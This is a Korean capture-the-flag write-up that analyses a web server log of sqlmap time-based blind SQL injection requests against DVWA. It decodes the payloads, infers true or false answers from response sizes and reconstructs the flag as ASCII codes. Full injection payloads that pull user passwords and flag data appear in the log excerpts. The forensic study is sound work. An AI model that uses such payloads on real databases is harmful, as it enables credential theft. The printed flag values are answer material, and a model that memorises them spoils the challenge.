사진과 같은 log파일에서 flag를 도출해야한다.
우선 구문을 하나 가져와서 보자
172.20.0.1 - - [26/Apr/2024:18:23:05 +0000] "GET /vulnerabilities/sqli/?id=1%27%20AND%207279%3DIF%28%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28password%20AS%20CHAR%29%2C0x20%29%20FROM%20dvwa.users%20ORDER%20BY%20%60user%60%20LIMIT%204%2C1%29%2C18%2C1%29%29%3E97%29%2CSLEEP%281%29%2C7279%29--%20CysV&Submit=Submit HTTP/1.1" 200 1664 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
URL 디코딩 후 값
172.20.0.1--[26/Apr/2024:18:23:05+0000]"GET/vulnerabilities/sqli/?id=1' AND 7279=IF((ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20) FROM dvwa.users ORDER BY `user` LIMIT 4,1),18,1))>97),SLEEP(1),7279)-- CysV&Submit=SubmitHTTP/1.1"2001664"-""sqlmap/1.2.4#stable(http://sqlmap.org)"
id와 sql 구문, sleep을 근거로 Time-based Blind SQLi 임을 알 수 있다.
- 오류 메시지 없음
- 데이터베이스 오류나 디버깅 메시지가 표시되지 않으므로, 직접적인 힌트를 얻을 수 없음
- 응답 기반 추론
- 공격자는 응답의 변화, 페이지 로딩 시간, 상태 코드 등을 사용하여 데이터를 추출.
- 시간 소모
- 일반적인 SQL 인젝션보다 데이터 추출 과정이 느림
따라서 sql 구문을 뜯어서 살펴 볼 예정이다.
id=1' AND 7279=IF((ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20) FROM dvwa.users ORDER BY `user` LIMIT 4,1),18,1))>97),SLEEP(1),7279)
id=1' AND 7279=IF(~~,SLEEP(1),7279)
1' 을 통해 sql 구문 탈출 및 and 7279 와 if문이 같은지 연산, 참일경우 sleep(1), 거짓일 경우 7279비교가 맞다고 처리된다.
(SELECT IFNULL(CAST(password AS CHAR),0x20)
FROM dvwa.users
ORDER BY `user`
LIMIT 4,1)
dvwa.users 테이블에서 네 번째 행의 password 추출 null이면 공백, 아니면 password를 문자열로 추출 user열을 기준으로 정렬
그럼 이 많은 sql 구문중 flag를 찾아야하니 flag를 검색해보았다.
if문이 참일경우 거짓인 경우와 다른 값을 나타낼 것이다. 대부분의 경우 200 1800 근처에 분포하지만 200 1600정도의 값은 큰 차이가 있으므로 이 경우 참으로 간주하고 데이터를 수집한 결과
172.20.0.1 - - [26/Apr/2024:17:50:55 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(value AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),1,1))>66),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1664 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:50:56 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(value AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),1,1))>67),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1664 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:50:57 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(value AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),1,1))!=68),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1806 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
여기서 >66보다 크고 >67일때도 크고 200 참이므로 1600대의 반환을 보였으나
!=68이라고 물었을때는 거짓으로 1800대의 반환을 보였다. 이를 통해 ascii값은 정확이 68임을 알 수 있으며 ascii 문자 68이다. 이는 D이므로 드림핵 플래그 시작과 동일하므로 이와 유사하게 다 찾은결과
68 72 123 97 110 65 49 121 122 49 110 71 86 101 51 121 66 49 57 76 48 103 125
값을 얻었다 이를 변환하면 플래그를 얻을 수 있다.
mac에서는 log분석시 CotEditor 를 이용하고 있다. url 디코딩 및 찾기 찾은 값을 따로 복사할 수도 있어서 편한 것 같다.